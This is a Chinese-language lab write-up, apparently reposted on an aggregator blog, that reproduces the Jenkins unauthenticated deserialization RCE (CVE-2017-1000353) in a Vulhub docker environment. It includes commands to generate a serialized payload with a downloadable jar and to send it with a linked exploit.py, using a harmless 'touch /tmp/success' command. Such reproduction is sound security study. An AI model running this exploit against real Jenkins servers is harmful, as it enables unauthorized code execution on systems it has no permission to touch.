Jenkins-CI 远程代码执行漏洞复现(CVE-2017-1000353)
Jenkins的反序列化漏洞,攻擊者使用該漏洞可以在被攻擊服務器執行任意代碼,漏洞利用不需要任何的權限
漏洞影響范圍:
所有Jenkins主版本均受到影響(包括<=2.56版本)
所有Jenkins LTS 均受到影響( 包括<=2.46.1版本)
?
## 原理
參考閱讀 https://blogs.securiteam.com/index.php/archives/3171
## 環境搭建
執行如下命令啟動jenkins 2.46.1:
```
docker-compose up -d
```
等待完全啟動成功后,訪問`http://your-ip:8080`即可看到jenkins已成功運行,無需手工安裝。
## 測試過程
### 步驟一、生成序列化字符串
參考<https://github.com/vulhub/CVE-2017-1000353>,首先下載CVE-2017-1000353-1.1-SNAPSHOT-all.jar
(https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar),這是生成POC的工具。
執行下面命令,生成字節碼文件:
```bash
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
# jenkins_poc.ser是生成的字節碼文件名
# "touch ..."是待執行的任意命令
```
執行上述代碼后,生成jenkins_poc.ser文件,這就是序列化字符串。
### 步驟二、發送數據包,執行命令
下載[exploit.py](https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py)
鏈接里的exploit代碼需要將Proxies里面的內容注釋掉
python3執行`python exploit.py http://your-ip:8080 jenkins_poc.ser`,將剛才生成的字節碼文件發送給目標:
進入docker,發現`/tmp/success`成功被創建,說明命令執行漏洞利用成功
docker-compose exec jenkins bash總結
以上是生活随笔為你收集整理的Jenkins-CI 远程代码执行漏洞复现(CVE-2017-1000353)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 河北科技创新平台年报系统 - 头脑风暴会
- 下一篇: Python中string、json、b